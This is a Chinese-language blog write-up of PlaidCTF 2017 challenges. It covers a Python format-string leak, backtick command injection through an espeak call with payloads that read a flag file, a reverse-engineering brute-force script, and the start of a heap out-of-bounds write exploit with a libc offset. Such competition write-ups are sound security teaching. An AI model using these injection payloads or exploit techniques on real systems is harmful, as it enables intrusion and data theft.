关闭
Hit
enter
to search or
ESC
to close
May I Suggest ?
#leanote #leanote blog #code #hello world
Mutepig's Blog
Home
Archives
Tags
Search
About Me
plaidCTF2017 writeup
无
350
0
0
mut3p1g
## web-pykemon 这题给了源码,大概意思就是抓小精灵,然后有一个就叫FLAG是旗帜那个图片,抓到就可以看到FLAG了。 ![](https://leanote.com/api/file/getImage?fileId=59029de2ab64415829002e7d) 每次访问主页`/`的时候,都会新建一个room,随机生成5~~15个小精灵,每个小精灵有下面几个属性 ``` self.name = pykemon[i][1] self.nickname = pykemon[i][2] self.sprite = pykemon[i][3] self.description = pykemon[i][4] self.hp = hp self.rarity = pykemon[i][0] self.pid = self.name + str(self.hp) ``` 然后游戏里面有这么几个小精灵: ``` pykemon = [ [100, 'Pydiot', 'Pydiot','images/pydiot.png', 'Pydiot is an avian Pykamon with large wings, sharp talons, and a short, hooked beak'], [90, 'Pytata', 'Pytata', 'images/pytata.png', 'Pytata is cautious in the extreme. Even while it is asleep, it constantly listens by moving its ears around.'], [80, 'Pyliwag', 'Pyliwag', 'images/pyliwag.png', 'Pyliwag resembles a blue, spherical tadpole. It has large eyes and pink lips.'], [70, 'Pyrasect', 'Pyrasect', 'images/pyrasect.png','Pyrasect is known to infest large trees en masse and drain nutrients from the lower trunk and roots.'], [60, 'Pyduck', 'Pyduck', 'images/pyduck.png','Pyduck is a yellow Pykamon that resembles a duck or bipedal platypus'], [50, 'Pygglipuff', 'Pygglipuff', 'images/pygglipuff.png','When this Pykamon sings, it never pauses to breathe.'], [40, 'Pykachu', 'Pykachu', 'images/pykachu.png','This Pykamon has electricity-storing pouches on its cheeks. These appear to become electrically charged during the night while Pykachu sleeps.'], [30, 'Pyrigon', 'Pyrigon', 'images/pyrigon.png','Pyrigon is capable of reverting itself entirely back to program data and entering cyberspace.'], [20, 'Pyrodactyl', 'Pyrodactyl', 'images/pyrodactyl.png','Pyrodactyl is a Pykamon from the age of dinosaurs'], [10, 'Pytwo', 'Pytwo', 'images/pytwo.png','Pytwo is a Pykamon created by genetic manipulation'], [0, 'FLAG', 'FLAG','images/flag.png', 'PCTF{XXXXX}'] ] ``` 代码主要是有这样几个操作: * catch 点击某个图片就会触发该操作,通过POST获取参数值name表示要抓的小精灵,每抓一个精灵球就会减少。 然后如果抓了某个小精灵,首先就会把小精灵从room里面去掉,然后再来计算抓住的概率,大概计算代码是这样 ``` if p.rarity > 0: chance = (randint(1,90) + p.rarity) / 100 ``` 然而FLAG的概率为0,所以应该是永远都抓不到了,再看看后面的操作。 * rename 这个主要是对抓到了的小精灵进行重命名的操作,然后问题就出在这里 ``` new_name = request.form['new_name'] p = check(name, 'caught') for pykemon in s['pykemon']: if pykemon['pid'] == name: pykemon['nickname'] = new_name session['caught'] = s print session['caught'] return "Successfully renamed to:\n" + new_name.format(p) ``` 这里会利用new_name来format p,而p是Pykemon对象,所以可以来泄露该对象的信息 首先抓一个小精灵,通过抓包可以得到其名字 ![](https://leanote.com/api/file/getImage?fileId=59029de2ab64415829002e7e) 然后直接修改成对应的样子,就能将p的属性打印出来了 ![](https://leanote.com/api/file/getImage?fileId=59029de2ab64415829002e7f) ## web-echo 这题给了源码,不长,大概流程是这样的: 首先会用一个加密方法将flag写入`/tmp/echo/flag`,加密方法是可逆的 ``` with open(outfile,'w') as f: for x in flag: c = 0 towrite = '' for i in range(65000 - 1): k = random.randint(0,127) c = c ^ k towrite += chr(k) f.write(towrite + chr(c ^ ord(x))) ``` 可以看到,是对flag的每个字符x都与c进行异或,c又是从0开始与64999个随机数进行异或得到的,但是这64999个随机数同时也写入了文件所以是已知的,所以可以还原flag ``` a=open('flag').read() flag='' for i in xrange(len(a)/65000): tmp = a[i*65000:(i+1)*65000] x = ord(tmp[-1]) for k in tmp[:-1]: x = ord(k)^x flag += chr(x) print flag ``` ![](https://leanote.com/api/file/getImage?fileId=58fdea11ab644129eb008912) 接着如图可以选择输入四个值,然后程序会把输入转到一个docker里面去 ``` docker run -m=100M --cpu-period=100000 --cpu-quota=40000 --network=none -v {path}:/share lumjjb/echo_container:latest python run.py ``` 首先是把path和`/share`共享了,所以可以从`share`来读取文件。 首先是把docker搞下来 ``` docker pull lumjjb/echo_container docker save lumjjb/echo_container > echo.tar ``` 然后从每个文件夹里面的layer.tar里面找run.py ``` for l in */layer.tar ; do echo $l ; tar tvf $l ; done ``` 搜索一下,随便找到了个在`84074b78d751577aca1178ff167a4fcb6bf03c6290c5185aba4de57c64a28b37`里面就有 然后来看看这个docker里面run.py是怎么写的 ``` INPUT_FILE="/share/input" OUTPUT_PATH="/share/out/" def just_saying (fname): with open(fname) as f: lines = f.readlines() i=0 for l in lines: i += 1 if i == 5: break l = l.strip() # Do TTS into mp3 file into output path call(["sh","-c", "espeak " + " -w " + OUTPUT_PATH + str(i) + ".wav " + l]) def main(): just_saying(INPUT_FILE) ``` 可以发现这里可以执行命令,通过 ``` `whoami` ``` 可以听到读出来了root 于是就可以直接读flag了,我们要执行尽可能短的命令,可以把分组的简化一下 ``` f=[a[i:i+65000] for i in list(xrange(len(a)))[::65000]] ``` 最后得到了payload,为了有足够的间隔中间加了`, ,`,还有要注意的就是要听数字否则大小写就没法区分了 ``` tweet1:`echo "a=open('/share/flag').read()\nf=[a[i:i+65000] for i in list(xrange(len(a)))[::65000]]\n" > a.py` tweet2: `echo "F=''\nfor t in f:\n\tx=ord(t[-1])\n\tfor k in t[:-1]:\n\t\tx = ord(k)^x\n\tF+=str(x)+', ,'\nprint F\n" >>a.py` tweet3: `python a.py` ``` 最后听一下可以得到flag ``` PCTF{L15st3n_T0__reee_reeeeee_reee_la} ``` ## re-no_mo_flo ### Main 这题逻辑比较简单,就是输入一个字符串,然后经过操作后判断,输入flag则返回正确 主要逻辑如下 ![](https://leanote.com/api/file/getImage?fileId=58fea514ab644129eb00a26c) 首先是需要输入32个字符,这里我用的32个不一样的可见字符来测试 ``` da ``` 可以看到,首先将输入拆开,奇数位的存在v5,偶数位的存在v6,最后需要v9和v8都是1才行,而v9=v4,v4是eax所以就是上面OddCheck的返回值,v8就是EvenCheck的返回值。 那么关键就是看两个Check了,下面一个一个看一下 ### OddCheck 这个函数F5出不来,必须得去看汇编代码,并且配合动态调试。 下断点到这个函数,进去后RAX和RDI都是v5,说明确实是在对v5进行check。 然后跳到这里,最后再jmp到400F10,然后继续跳到R11对应的代码。 ![](https://leanote.com/api/file/getImage?fileId=58fea9d9ab6441268a009d25) 这里大概意思就是将第edi(0)个字符+5,等于0x55则去下一个判断,而这样算出来可以得到正好等于0x50即P,所以可以把奇数位的字符都得到,后面也基本一样一点一点走就可以了。 这里的返回值是r8d,所以不能走到r8d位0的地方。 最后可以得到奇数位: ``` P*T*{*0*f*0*_*0*l*k*_*h*h*l*_*0* ``` 不过可以猜一下得到 ``` PCTF{*0*f*0*_*0*l*k*_*h*h*l*_*0} ``` ### EvenCheck 这个判断也差不多,f5出来的还是有点问题,直接看汇编吧 ![](https://leanote.com/api/file/getImage?fileId=58feb062ab644129eb00a479) 先是判断v6第一个字符-3是不是等于0x40,算一下确实就是`C`,之后会进入`0x401028`来开始偶数位的判断,方法也差不多,正确就会走r10对应的地址。 ![](https://leanote.com/api/file/getImage?fileId=58feb411ab644129eb00a4f5) 最后得到还是不太完整的flag ``` PCTF{[n,o]0_fl0*_[m,o]0*lik*_ah_h3ll_n0} ``` 不过剩下的就暴力一下就可以了 ``` import os import string flag = "PCTF{%s0_fl0%s_%s0%slik%s_ah_h3ll_n0}" s = string.printable[:-6] for i in ['n','o']: for j in s: for k in ['m','o']: for x in s: for y in s: f = flag%(i,j,k,x,y) print f ret = os.popen("echo \"%s\"|./no"%f).read() print ret if "Good flow" in ret: print f raw_input() ``` 最后得到flag ``` PCTF{n0_fl0?_m0_like_ah_h3ll_n0} ``` ## pwn-bigpicture 首先看一下保护措施,可以看到除了没开金丝雀其他都开了 ![](https://leanote.com/api/file/getImage?fileId=58fec2e8ab644129eb00a6d4) 然后看看这个bin的功能是什么,主要是用来让你画一张图,首先是输入要画的图片的大小,输入`X x Y`表示图像是`X*Y`的,然后会申请一个堆`calloc(x,y)` 然后输入`x,y,c`表示坐标(x,y)的值为char c 这里是通过plot函数来执行的,问题也就出在这 ``` void plot(int x, int y, char c) { if(x >= width || y >= height) { puts("out of bounds!"); return; } char *ptr = get(x, y); if(*ptr != 0) printf("overwriting %c!\n", *ptr); else *ptr = c; } ``` 可以看到,这里只检查了x,y有没有大于我们输入的范围,但我们可以输入一个负数,这样写入的值就并不是在堆里面而可以在外面了。 首先看下内存空间,大概是这样的 ![](https://leanote.com/api/file/getImage?fileId=58fef5bbab644129eb00acbd) 这里尝试申请1024*1024的,发现到了libc下面的[mapped]空间了,并且正好是在其开头,在这里我们可以覆盖libc[rw-的那个]里面的函数,同时也可以很容易的计算偏移 ![](https://leanote.com/api/file/getImage?fileId=58fef5bbab644129eb00acbe) 计算一下申请空间到目标libc的偏移,应该是`0x7ffff7eed000-0x7ffff7dd1000=0x11c000`,然后还需要加上堆的头0x10,所以总共应该是`0x11c000+0x10=0x11c010`
觉得不错,点个赞?
提交评论
Sign in
to leave a comment.
No Leanote account ?
Sign up now
.
0
条评论
More...
文章目录
No Leanote account ? Sign up now.